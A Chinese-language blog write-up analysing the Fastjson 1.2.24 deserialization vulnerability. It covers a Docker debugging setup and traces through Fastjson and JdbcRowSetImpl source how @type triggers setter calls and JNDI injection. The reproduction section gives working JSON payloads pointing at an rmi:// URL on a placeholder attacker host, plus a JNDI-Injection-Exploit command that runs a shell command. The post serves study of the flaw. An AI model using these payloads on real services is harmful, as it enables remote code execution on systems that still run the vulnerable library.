Fastjson 1.2.24反序列化漏洞浅析

Fastjson 1.2.24反序列化漏洞浅析

前言

Fastjson 1.2.24反序列化漏洞,作为Java反序列化学习过程中必调试的一个经典漏洞,挖了很久的坑了,在这里填一下。

概要

Fastjson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法(与一般的反序列化调用readObject不相同,但思路类似)。JdbcRowSetImpl类的 setAutoCommit() 会调用 connect() 函数, connect() 会调用 InitialContext.lookup(dataSourceName) ,并且参数可控,造成JDNI注入。所以Fastjson的利用过程是从反序列化触发JNDI注入,涉及到两种漏洞。

调试环境搭建

最开始的时候想用p牛的vulhub,但发现没办法改Dockerfile,也不能改Java的启动设置,打不开debug模式。此处参考vulhub的docker hub记录、jar包和JAVA 漏洞靶场的Dockerfile,自己构建了Dockerfile。

选择较低版本的jdk方便复现,Dockerfile:

1
2
3
4
FROM openjdk:8u111-jdk-alpine
COPY fastjsondemo.jar /usr/src/fastjsondemo.jar
ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n
CMD ["java","-Dserver.address=0.0.0.0","-Dserver.port=8090","-jar","/usr/src/fastjsondemo.jar"]

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
version : '2'
services:
server:
build:
context: .
dockerfile: Dockerfile
ports:
- "8090:8090"
- "8000:8000"

Fastjson初识

摘自浅谈fastjson反序列化漏洞

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

说白了,Fastjson就是一个用来序列化/反序列化Java对象,并储存为json格式的库。JavaBean就是一种满足一些规范(比如实现 getXXX() 方法和 setXXX() 方法)的Java对象,可以简单理解为Java对象。

何为 @type 字段?

Java具有多态的特性,当一个对象的某属性是具有多态的对象时,如果不知道该对象的具体类别,fastjson仅会将其反序列化为父类,从而丢失了子类的额外属性。为了解决这个问题,fastjson提供了 SerializerFeature.WriteClassName 参数以及 @type 字段:

1
2
3
4
5
//这种方式会丢失成员属性的子类信息:
String json = JSON.toJSONString(xxx);
//这种方式会记录每一层的对象类型(添加一个@type字段),从而不丢失子类信息:
String json = JSON.toJSONString(xxx, SerializerFeature.WriteClassName);

摘自浅谈fastjson反序列化漏洞

如果@type被指定为某恶意的类,是否会产生漏洞?

漏洞复现

应用存在一个根据请求发送的数据更新user对象属性的功能,该功能使用fastjson对请求数据进行解析:

1
2
3
4
5
6
@RequestMapping(value = { "/" }, method = { RequestMethod.POST }, produces = { "application/json;charset=UTF-8" })
@ResponseBody
public Object setUser(@RequestBody final User user) {
user.setAge(Integer.valueOf(20));
return user;
}

在这里选择 JNDI-Injection-Exploit 作为JNDI恶意服务端,尝试执行 touch /tmp/hachp1

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/hachp1" -A 'x.x.x.x'

因为没有bash,只有sh,不支持大括号的形式( {echo,dG91Y2ggL3RtcC9oYWNocDE=}|{base64,-d}|{bash,-i}

使用对应的url rmi://x.x.x.x:1099/4fvkzz 构造RMI payload:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/4fvkzz","autoCommit":true}

构造完整payload:

1
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/lxtcyl","autoCommit":true}, "age":20}}

利用过程跟踪

setXXX的触发过程

在此漏洞中,触发的是以“set”开头的被反序列化的对象的方法。

由于json解析是通过框架的Filter进行,无法直接在应用中打断点,需要去fastjson库里打断点。

漏洞的实际入口在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\support\spring\FastJsonHttpMessageConverter.java#190 :

1
return JSON.parseObject(in, fastJsonConfig.getCharset(), type, fastJsonConfig.getFeatures());

跟进去,首先进入词法分析和语法分析器(json的语法比较简单,fastjson是按位进行解析的),在 fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#322 ,如果匹配到“@type”,会获取相关的类(在这里是JdbcRowSetImpl类):

1
2
3
4
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
...

fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#367 会获取相应的反序列化器:

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

跟进去,会在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\ParserConfig.java#createJavaBeanDeserializer:526 调用JavaBeanInfo类的build方法:

1
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

其中包括了获取要反序列化的类有哪些成员属性和方法( fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:134 ):

1
2
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();

fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:328 会对获取的方法依次遍历,如果方法名以 set 开头,则会获取对应的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for (Method method : methods) {
...
if (!methodName.startsWith("set")) {
continue;
}
//对"set"开头的方法进行处理,获取对应的属性
char c3 = methodName.charAt(3);
...
else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3)); //获取属性
}
}

这些属性会被存入FieldInfo对象中,供后期反序列化时使用。可以看到,只要是“set”开头的方法,都会尝试获取其对应属性。此外,“get”开头的方法也会在 build 方法中做类似操作。

之后,会根据以上获得的类相关信息在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\deserializer\ASMDeserializerFactory.java:78 ,通过ASM动态加载字节码以获得类 com.sun.rowset.JdbcRowSetImpl 的对应的反序列化器 FastjsonASMDeserializer_2_JdbcRowSetImpl.class (只有在初次加载时才会调用,再次加载时会从hashmap中查找,所以再次跟时需要重启服务器):

1
2
3
byte[] code = cw.toByteArray();
Class<?> exampleClass = defineClassPublic(classNameFull, code, 0, code.length);

由于后面的漏洞触发过程中会用到该类,我们在这里把它dump出来,通过动态执行,该类的字节码会dump到docker的根目录下:

1
(new FileOutputStream("some.class")).write(code)

然后继续执行, fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#368 对刚加载的动态类进行反序列化:

1
return deserializer.deserialze(this, clazz, fieldName);

该过程将会进入到动态加载的类,调用该类的 deserialze 方法,盗版deserialize,没有i :)

我们来看一下动态加载的反序列化器类,ASM得到的反序列化器类继承了 JavaBeanDeserializer

1
2
3
public class FastjsonASMDeserializer_2_JdbcRowSetImpl extends JavaBeanDeserializer {
...
}

之后会调用 deserialze 方法,所以可以在 JavaBeanDeserializer#deserialze:271 打断点。然后会执行parseField方法,以还原对象的属性:

JavaBeanDeserializer#deserialze:600boolean match = parseField(parser, key, object, type, fieldValues);

然后执行到 JavaBeanDeserializer#parseField:773fieldDeserializer.parseField(parser, object, objectType, fieldValues);

跟进: DefaultFieldDeserializer#parseField:71

1
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);

当在此处尝试反序列化我们构造的恶意类的成员属性时,会进入 JavaBeanDeserializer#deserialze:593 ,调用 setValue 方法:

1
fieldDeser.setValue(object, fieldValue);

FieldDeserializer#setValue:96, 如果需要反序列化对应属性XXX,会调用之前获取到的“setXXX”方法

1
method.invoke(object, value);

再次回顾一下payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/hzbsma","autoCommit":true} ,可以注意到,在反序列化时会设置对象的 autoCommit 的属性,此时会调用其 setAutoCommit 方法。另外还有一个细节,我们把 dataSourceName 属性放到前面,是因为需要先给对象的 dataSourceName 赋值,fastjson按照字节一个一个的处理,所以在处理后面的 setAutoCommit 时,该属性已经被赋值了。

到这里,fastjson的“setXXX”触发过程分析完毕。

触发JNDI注入:JdbcRowSetImpl类的利用

下面我们再来看一下利用的触发JDNI注入的类,可以看到会使用 dataSourceName 属性作为参数,触发JNDI查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.sun.rowset;
...
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
...
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
...
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//getDataSourceName返回本对象的DataSourceName属性,调用了lookup函数,存在JNDI注入漏洞
...
}
...

到这里,整个漏洞触发过程分析完毕(后面就是接JNDI注入的链的过程了,这里不再赘述)。对于Java安全的初学者:Java的 this.getXXX() 可以看作是 this.XXX ,与php的反序列化链类似。比如 this.getDataSourceName() 看作 this.dataSourceName ,所以payload中对该属性进行了赋值。

总结

  • fastjson支持@type以指定反序列化的类别->想到恶意类
  • 怎么利用?fastjson还原json数据时会实例化对象、会还原该对象的属性->调用getXXX和setXXX->查找拥有能够利用的getXXX或setXXX方法的类
  • 后续JNDI利用:JNDI利用链的跟踪,与fastjson没有直接的关系
  • 在反序列化一个对象前会先获取对应的反序列化器,有的反序列化器通过ASM动态加载得到
  • 跟踪的难点在于词法解析的过程比较复杂,且过程中存在动态加载的类,无法直接源码调试
  • 整个跟踪过程实际上是学习fastjson在解析对象时如何构造其反序列化器,反序列化器中会获取要反序列化的类的成员方法和成员变量,并根据情况调用其setXXX()getXXX()方法

参考资料